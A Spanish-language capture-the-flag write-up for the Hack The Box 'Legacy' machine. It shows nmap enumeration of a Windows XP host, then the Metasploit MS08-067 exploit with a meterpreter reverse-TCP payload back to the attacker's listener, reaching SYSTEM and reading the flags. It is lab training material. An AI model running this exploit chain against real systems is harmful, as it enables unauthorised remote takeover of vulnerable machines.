Enumeración
Nuestra fase de reconocimiento comenzó validando la conectividad y el sistema operativo del objetivo. El TTL=127 de la respuesta del ping nos indicó inmediatamente que nos enfrentábamos a una máquina Windows. Al realizar el escaneo de puertos, descubrimos los puertos clásicos de RPC y SMB abiertos.
El hallazgo más crítico se produjo durante el escaneo detallado de servicios: Nmap identificó el sistema operativo como Windows XP. Un sistema tan antiguo exponiendo el servicio SMB a la red es un blanco perfecto para vulnerabilidades críticas de ejecución remota de código, como el infame MS08-067.
# [-c] Especificar la cantidad de paquetes ICMP a enviar (1 en este caso)
# Comprobar la conexión y el ttl=127 que nos confirma que es una máquina Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ ping -c 1 10.129.227.181
PING 10.129.227.181 (10.129.227.181) 56(84) bytes of data.
64 bytes from 10.129.227.181: icmp_seq=1 ttl=127 time=112 ms
# [-p-] Escanear todos los puertos (1-65535)
# [-n] No resolver DNS para acelerar el escaneo
# [-sS] Escaneo SYN (Stealth). No completa la conexión TCP completa
# [-Pn] Omitir el descubrimiento de host (asume que la máquina está viva)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar la salida en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ nmap -p- -n -sS -Pn --min-rate=5000 10.129.227.181 -oG allPorts
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
# [-p] Especificar la lista de puertos descubiertos previamente
# [-sCV] Ejecutar scripts de enumeración por defecto (-sC) y detectar versiones de servicios (-sV)
# [-oN] Guardar la salida en el formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ nmap -p135,139,445 -sCV --min-rate=5000 10.129.227.181 -oN nmap
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b0:6d:20 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2026-04-20T18:10:14+03:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h27m40s, deviation: 2h07m16s, median: 4d22h57m40s
Explotación
Sabiendo que el objetivo es un Windows XP vulnerable, decidimos utilizar Metasploit Framework para un enfoque rápido y directo. Buscamos el exploit para MS08-067, una vulnerabilidad de desbordamiento de búfer en el servicio Server de Windows (NetAPI) que permite la ejecución remota de código sin autenticación.
Tras configurar los parámetros de nuestra máquina local y la IP víctima, lanzamos el ataque. El exploit funcionó a la perfección, inyectando nuestro payload y devolviéndonos una sesión de Meterpreter. Al verificar nuestros privilegios, confirmamos que obtuvimos acceso directo como NT AUTHORITY\SYSTEM, el nivel de privilegio más alto en Windows. Gracias a esto, pudimos acceder directamente a los escritorios de los usuarios john y Administrator para reclamar ambas flags sin necesidad de realizar ninguna escalada de privilegios.
# Iniciar y preparar la base de datos de Metasploit
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ sudo msfdb init
# [-q] Iniciar la consola de Metasploit en modo "quiet" (sin el banner visual de bienvenida)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ sudo msfconole -q
# Buscar exploits relacionados con el boletín de seguridad MS08-067
msf > search MS08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
# Seleccionar el exploit utilizando su índice numérico en la lista de resultados
msf > use 0
# Mostrar las opciones requeridas para configurar el exploit seleccionado
msf exploit(windows/smb/ms08_067_netapi) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.10.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
# Configurar la IP de nuestra máquina atacante (Local Host) para recibir la reverse shell
msf exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.15.174
lhost => 10.10.15.174
# Configurar la IP de la máquina víctima (Remote Host)
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.129.227.181
rhost => 10.129.227.181
# Ejecutar el exploit contra el objetivo
msf exploit(windows/smb/ms08_067_netapi) > run
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (10.10.15.174:4444 -> 10.129.227.181:1045) at 2026-04-15 09:32:14 -0400
# Consultar el usuario actual bajo el que se está ejecutando nuestra sesión
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# Desplegar una consola interactiva de comandos (cmd.exe) del sistema vulnerado
meterpreter > shell
Channel 1 created.
C:\Documents and Settings>type john\Desktop\user.txt
e6*****************************4f
C:\Documents and Settings\>type Administrator\Desktop\root.txt
99*****************************13